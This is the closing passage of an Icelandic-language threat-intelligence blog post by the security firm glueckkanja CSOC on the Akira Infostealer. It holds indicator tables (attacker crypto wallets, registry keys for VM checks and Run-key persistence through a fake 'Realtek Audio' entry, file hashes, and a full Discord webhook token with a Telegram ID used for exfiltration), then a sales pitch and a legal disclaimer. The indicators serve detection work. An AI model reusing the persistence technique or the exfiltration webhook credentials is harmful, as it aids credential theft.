| TRX | TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK |
| XRP | r36AwwhUH7BRujevi5mukbDrG46KGbTk8V |
| XLM | GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33 |
3. Registry-lyklar og slóðir
| Registry-slóð | Tilgangur |
|---|---|
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc |
Athugar signature sýndar-GPU-drivera |
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName |
Athugar heiti veitanda sýndar-GPU |
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (gildið Realtek Audio) |
Persistence í gegnum Run-lykil (Updater.exe) |
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe |
Keyranleg skrá fyrir persistence |
5. Skrár og hash
| Skráarheiti | SHA256 | Stærð (bæti) |
|---|---|---|
| app-64.7z | 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 |
63936274 |
| main.exe | C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B |
162036224 |
| jscrypter.js | 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF |
1429 |
| obf.js | 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 |
30138 |
| input.js | E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 |
7155 |
| package.json | 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 |
211 |
| astor.py | 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 |
205210 |
| exodus.asar | 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB |
132486332 |
| pow.bat | 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 |
28454 |
| download.dat | C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B |
21142 |
| pyth.zip | E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 |
32375391 |
| Updater.exe | 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 |
37652937 |
5. Auðkenni Discord og Telegram
| Flokkur | Gildi |
|---|---|
| Discord webhook-auðkenni | 1226766972675428372 |
| Discord webhook-token | BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz |
| Telegram-auðkenni | 5035121855 |
14. Hugleiðingar um Akira Stealer-atvikið: styrktu vörnina þína með glueckkanja CSOC
Í þessari bloggfærslu höfum við kannað hversu fágað Akira Infostealer er, háþróuð netógn sem einkennist af markvissum þjófnaði á credentials, hljóðlátri exfiltration gagna og þrálátum aðferðum til að komast hjá hefðbundnum vörnum. Að skilja hvernig þetta malware starfar, hvaða áhættu það skapar og hvaða veikleika það nýtir er forsenda þess að byggja upp sterka cybersecurity-stefnu.
Akira Infostealer beinist sérstaklega að viðkvæmum gögnum eins og innskráningar-credentials, browser-setum, kryptóveskjum, skilaboðaþjónustum og skrám einstaklinga eða fyrirtækja. Útreiknaðar og nákvæmar aðferðir þess kalla á meira en venjulegar öryggisráðstafanir, þær kalla á samfellda vöktun, ítarlega forensic-greiningu og fyrirbyggjandi threat intelligence.
Hjá glueckkanja CSOC nýtum við djúpa tæknilega sérþekkingu okkar og háþróaða greiningargetu til að ganga lengra en einföld detection. Sérhæfða teymið okkar vaktar ógnir samfellt í rauntíma frá okkar eigin CSOC-serverum, sem gerir kleift að greina samstundis, rannsaka til hlítar og gera ógnir eins og Akira Infostealer óvirkar með áhrifaríkum hætti.
En vinnan okkar stöðvast ekki við incident response. Hvert atvik sem greinist auðgar þekkingargrunn okkar, styrkir öryggisstöðu okkar og tryggir að við séum áfram nokkrum skrefum framar komandi ógnum. Með glueckkanja CSOC fær þú meira en vörn, þú fær aðlögunarhæfan öryggisaðila sem er staðráðinn í að styðja þol þitt til langs tíma.
Stígðu næsta skref í því að tryggja stafrænar eignir fyrirtækisins þíns.
Hafðu samband við cybersecurity-sérfræðinga glueckkanja í dag, og tryggjum framtíð þína saman með fyrirbyggjandi hætti.
Styrktu vörnina þína með glueckkanja CSOC.
15. Öryggis- og lagalegur fyrirvari – notkun á raunverulegum malware-kóða
Þessi útgáfa inniheldur ítarlega tæknilega innsýn, þar á meðal kóðabrot og hegðunargreiningar sem leiddar eru af raunverulegum illgjörnum hugbúnaði sem fannst við incident response og forensic-rannsóknir. Tilgangurinn með því að deila þessum upplýsingum er eingöngu fræðslulegur, þeim er ætlað að hjálpa fagfólki í vörnum að skilja, greina og bregðast við raunverulegum ógnum með áhrifaríkari hætti. Við gefum þetta út í góðri trú og með það í huga að leggja breiðara öryggissamfélagi lið.
Rétt er að hafa í huga að hlutar kóðans sem hér fylgir koma úr verkfærasettum ógnaraðila og malware-sýnum sem eru í umferð. Þessi brot eru ekki hugverk okkar og þau skal hvorki telja örugg, sótthreinsuð né á annan hátt "harmless". Við ráðum eindregið frá því að endurgera eða nota slíkan kóða í rekstri. Lesendur verða að skilja að þótt þetta efni þjóni rannsóknar- og vitundarhlutverki fylgir því í sjálfu sér áhætta sem ekki skal vanmeta.
Aðeins þjálfað fagfólk sem starfar í umhverfum með lagalegt umboð, svo sem faggilt security-teymi, SOC-einingar, fræðimenn eða malware-tilraunastofur, ætti að fást við þær aðferðir eða þann kóða sem hér er lýst. Allar tilraunir verða að vera bundnar við einangruð kerfi utan rekstrar og fylgja gildandi lögum, innri stefnum og siðferðilegum viðmiðum.
Við bjóðum engan stuðning og enga staðfestingu á neinum endurgerðum kóða eða neinni endurgerðri hegðun. Engin trygging er fyrir réttmæti, mikilvægi eða heilleika. Enn frekar vísum við berum orðum á bug allri notkun þessa efnis í árásarskyni, í óheimilu red teaming, við þróun malware í viðskiptaskyni eða í adversarial testing utan lagalega skilgreinds umfangs. Öll misnotkun getur haft lagalegar afleiðingar. glueckkanja AG afsalar sér allri ábyrgð á beinum eða óbeinum skaða sem hlýst af notkun eða misskilningi á þessu efni.
Með því að halda áfram að lesa eða vitna í þetta efni viðurkennir þú framangreint og samþykkir að misnota ekki, endurgera ekki og beita ekki neinum hluta þess í ólöglegu eða ósiðlegu samhengi. Sértu í vafa skaltu ráðfæra þig við lögfræði-, compliance- eða gagnaverndarsvið þitt áður en þú fæst við greiningu á lifandi kóða eða sambærilegt tæknilegt efni.
Þessi útgáfa er látin í té "as is", án ábyrgðar, stuðnings eða skaðabótaskyldu.















